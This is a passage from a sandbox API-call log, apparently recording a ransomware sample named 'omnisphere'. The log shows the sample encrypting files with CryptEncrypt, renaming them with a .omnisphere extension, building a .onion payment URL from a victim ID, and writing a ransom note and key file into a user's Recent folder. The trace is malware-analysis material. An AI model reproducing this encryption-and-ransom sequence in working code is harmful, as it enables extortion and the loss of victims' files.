hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.662] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.662] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.662] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.662] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.662] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.662] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.662] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.662] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.662] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.662] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.662] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.662] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.662] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.662] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.662] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.662] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.662] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.662] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.662] CryptReleaseContext (hProv=0x1669098, dwFlags=0x0) returned 1 [0127.662] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x277, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.662] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.664] GetProcessHeap () returned 0x1600000 [0127.664] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a8) returned 0x16f8780 [0127.664] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZDHnF9i.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zdhnf9i.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZDHnF9i.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zdhnf9i.lnk.omnisphere")) returned 1 [0127.664] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZDHnF9i.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZDHnF9i.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZDHnF9i.lnk.omnisphere.id" [0127.664] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZDHnF9i.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zdhnf9i.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.665] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.666] CloseHandle (hObject=0x3c0) returned 1 [0127.666] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.666] CloseHandle (hObject=0x288) returned 1 [0127.666] SetEndOfFile (hFile=0x28c) returned 1 [0127.666] FlushFileBuffers (hFile=0x28c) returned 1 [0127.669] CloseHandle (hObject=0x28c) returned 1 [0127.669] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZDHnF9i.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.669] GetProcessHeap () returned 0x1600000 [0127.669] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f4398 [0127.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.669] GetProcessHeap () returned 0x1600000 [0127.669] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1ca8 [0127.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1ca8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.669] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.669] GetProcessHeap () returned 0x1600000 [0127.669] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710680 [0127.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710680, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.669] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.669] GetProcessHeap () returned 0x1600000 [0127.669] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f6718 [0127.669] PathCombineW (in: pszDest=0x16f6718, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.669] GetProcessHeap () returned 0x1600000 [0127.669] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1707fa8 [0127.669] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.670] WriteFile (in: hFile=0x28c, lpBuffer=0x1707fa8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1707fa8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.670] CloseHandle (hObject=0x28c) returned 1 [0127.670] GetProcessHeap () returned 0x1600000 [0127.670] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4398 | out: hHeap=0x1600000) returned 1 [0127.670] GetProcessHeap () returned 0x1600000 [0127.670] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.670] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.670] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.670] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.670] CloseHandle (hObject=0x28c) returned 1 [0127.671] GetProcessHeap () returned 0x1600000 [0127.671] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.671] GetProcessHeap () returned 0x1600000 [0127.671] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167b448 | out: hHeap=0x1600000) returned 1 [0127.671] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca347c1, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x224bcab8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x224bcab8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3ba, dwReserved0=0x0, dwReserved1=0xd3, cFileName="ZFp_z.lnk", cAlternateFileName="")) returned 1 [0127.671] GetProcessHeap () returned 0x1600000 [0127.671] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x94) returned 0x167b768 [0127.671] PathCombineW (in: pszDest=0x167b768, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="ZFp_z.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZFp_z.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZFp_z.lnk" [0127.671] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.671] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZFp_z.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zfp_z.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.671] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=954) returned 1 [0127.671] GetTickCount () returned 0x115fdb5 [0127.671] GetTickCount () returned 0x115fdb5 [0127.671] GetTickCount () returned 0x115fdb5 [0127.671] GetTickCount () returned 0x115fdb5 [0127.671] GetTickCount () returned 0x115fdb5 [0127.671] GetTickCount () returned 0x115fdb5 [0127.671] GetTickCount () returned 0x115fdb5 [0127.671] GetTickCount () returned 0x115fdb5 [0127.671] GetTickCount () returned 0x115fdb5 [0127.671] GetTickCount () returned 0x115fdb5 [0127.671] GetTickCount () returned 0x115fdb5 [0127.672] GetTickCount () returned 0x115fdb5 [0127.672] GetTickCount () returned 0x115fdb5 [0127.672] GetTickCount () returned 0x115fdb5 [0127.672] GetTickCount () returned 0x115fdb5 [0127.672] GetTickCount () returned 0x115fdb5 [0127.672] GetTickCount () returned 0x115fdb5 [0127.672] GetTickCount () returned 0x115fdb5 [0127.672] GetTickCount () returned 0x115fdb5 [0127.672] GetTickCount () returned 0x115fdb5 [0127.672] GetTickCount () returned 0x115fdb5 [0127.672] GetTickCount () returned 0x115fdb5 [0127.672] GetTickCount () returned 0x115fdb5 [0127.672] GetTickCount () returned 0x115fdb5 [0127.672] GetTickCount () returned 0x115fdb5 [0127.672] GetTickCount () returned 0x115fdb5 [0127.672] GetTickCount () returned 0x115fdb5 [0127.672] GetTickCount () returned 0x115fdb5 [0127.672] GetTickCount () returned 0x115fdb5 [0127.672] GetTickCount () returned 0x115fdb5 [0127.672] GetTickCount () returned 0x115fdb5 [0127.672] GetTickCount () returned 0x115fdb5 [0127.672] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16682c8) returned 1 [0127.673] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0127.673] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.673] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.673] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0127.673] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3ba, lpName=0x0) returned 0x288 [0127.673] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3ba) returned 0x1480000 [0127.673] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668f00) returned 1 [0127.674] CryptImportKey (in: hProv=0x1668f00, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0127.674] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: 